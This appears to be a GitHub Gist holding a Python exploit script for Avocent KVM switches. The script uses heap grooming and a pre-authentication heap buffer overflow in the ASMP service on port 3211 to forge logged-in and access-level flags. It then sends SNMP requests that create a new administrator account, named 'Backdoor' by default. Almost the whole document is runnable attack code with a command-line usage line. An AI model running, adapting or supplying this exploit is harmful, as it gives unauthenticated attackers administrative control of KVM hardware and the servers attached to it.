Last active
December 30, 2023 15:08
-
-
Save aemmitt-ns/f76e770c9112faae86bf93fe223a497e to your computer and use it in GitHub Desktop.
Remote pre-auth heap buffer overflow exploit for Avocent KVMs
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket, struct, sys | |
p32 = lambda x: struct.pack(">I", x) | |
p16 = lambda x: struct.pack(">h", x) | |
p8 = lambda x: struct.pack(">b", x) | |
# ASMP heap overflow exploit creates new applianceAdmin user | |
def exploit(hostname, username="Backdoor", password="Backdoor"): | |
global socks # python closes out of scope sockets | |
port = 3211 # port is hardcoded in the binary | |
usernm = username.encode() | |
passwd = password.encode() | |
print(f"[*] Exploiting ASMP on {hostname} port {port}") | |
print("[*] Making connections...") | |
socks = [] | |
for i in range(12): # make 12 conns to empty heap bins | |
sock = socket.create_connection((hostname, port)) | |
asmp_request(sock, "version") | |
socks += [sock] | |
(sockA, sockB, sockC) = socks[-3:] | |
payloadB = b"\xffAAA" + p32(0x29)*((0x4000-0x20)//4) + b"\r" | |
asmp_request(sockB, "version", payloadB) | |
# payload to enlarge conn B to fit buffer D | |
payloadA = b"\xff"+b"A"*(0x4004-13)+p32(0x4011)+b"\x01\0\0\r" | |
asmp_request(sockA, "version", payloadA) # enlarge B | |
print("[*] Freeing B...") | |
asmp_request(sockB, "logout") # free B | |
print("[*] Making connection D...") | |
# D's asmp_conn is allocated at B's buffer | |
# and D's buffer is allocated at B's enlarged asmp_conn | |
# this causes D's buffer to overlap with its own conn | |
# allowing it to set the flags for logged in and authed | |
sockD = socket.create_connection((hostname, port)) | |
asmp_request(sockD, "version") | |
print("[*] Shrinking connection D...") | |
# payload to shrink B (now buffer D) to original size | |
payloadA2 = b"\xff"+b"A"*(0x4000-13+4)+p32(0x181)+b"\x01\0\0\r" | |
asmp_request(sockA, "version", payloadA2) # shrink buffer D | |
# make another connection to allocate at connD+0x180 hopefully? | |
sockE = socket.create_connection((hostname, port)) | |
asmp_request(sockE, "version") | |
# set bytes for either chunk scenario | |
def set_bytes(data1, data2, index): | |
for ind in (index, index + 0x48): | |
data1[ind:ind+len(data2)] = list(data2) | |
print("[*] Overwriting D auth flags...") | |
fake_conn = [0]*0x1b8 # zero filled buffer | |
set_bytes(fake_conn, p32(0x1000000), 0x0) # proto | |
set_bytes(fake_conn, p32(0x82), 0x4) # socket fd | |
set_bytes(fake_conn, p32(0xae238), 0x18) # timer? | |
set_bytes(fake_conn, p32(1), 0x98) # logged in | |
set_bytes(fake_conn, p32(3), 0x160) # access level | |
set_bytes(fake_conn, p32(4), 0x164) # preemption | |
fake_conn[0x44:0x48] = list(p32(0x181)) # set chunk2 size | |
add_user = [ | |
(1, set_oid("1.3.6.1.4.1.10418.18.2.4.10", 2, p32(2))), # addUser | |
(1, set_oid("1.3.6.1.4.1.10418.18.2.4.1", 4, usernm)), # username | |
(1, set_oid("1.3.6.1.4.1.10418.18.2.4.2", 4, passwd)), # password | |
(1, set_oid("1.3.6.1.4.1.10418.18.2.4.4", 2, p32(3))), # access level | |
(1, set_oid("1.3.6.1.4.1.10418.18.2.4.5", 2, p32(4))), # preemption | |
] | |
user_len = sum(len(x[1])+3 for x in add_user) | |
payloadD = b"\xff"+b"A"*(0x178-user_len-13+4)+p32(0x49)+bytes(fake_conn) | |
asmp_request(sockD, "snmp", add_user, payloadD+b"\r", 2, False) | |
print(f"[+] Created new user [ {username} : {password} ]") | |
for sock in socks[:6]: | |
asmp_request(sock, "logout") # logging out of some socks | |
return (username, password) | |
# only list types we use | |
req_types = { | |
"login": [1], | |
"logout": [2], | |
"snmp": [16, 17, 18, 19], | |
"version": [49] | |
} | |
def asmp_request(sock, rtype, args=[], app=b"\xff\r", index=0, recv=True): | |
payload = b"" | |
if type(args) == bytes: | |
payload += args | |
else: | |
for i,arg in enumerate(args): | |
if type(arg) == tuple: | |
i = arg[0]-1 | |
arg = arg[1] | |
payload += p8(i+1) + p16(len(arg)) + arg | |
payload += app # datarec terminator | |
packet = (b"\x01ASMP\0\0" + # protocol | |
p8(req_types[rtype][index]) + # request type | |
p32(len(payload)-1)+payload) # size / payload | |
sock.send(packet) | |
if recv: return sock.recv(65536) | |
def oid_to_data(oid, stype=0x38, suffix=b"\x05\0\0"): | |
data = p8(0x06) + p16(stype) # idk | |
for o in oid.split("."): data += p32(int(o)) | |
return data + suffix | |
def set_oid(oid, stype=2, value=b""): | |
oid_data = oid_to_data(oid, 0x30, b"\0") | |
return oid_data + p32(stype) + p16(len(value)) + value | |
if __name__ == "__main__": | |
if len(sys.argv) < 2: | |
print("usage: asmpwn.py <ip> [new user] [new passwd]") | |
quit() | |
else: | |
exploit(*sys.argv[1:4]) | |
input("[-] Press enter to quit (main_app may crash)") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment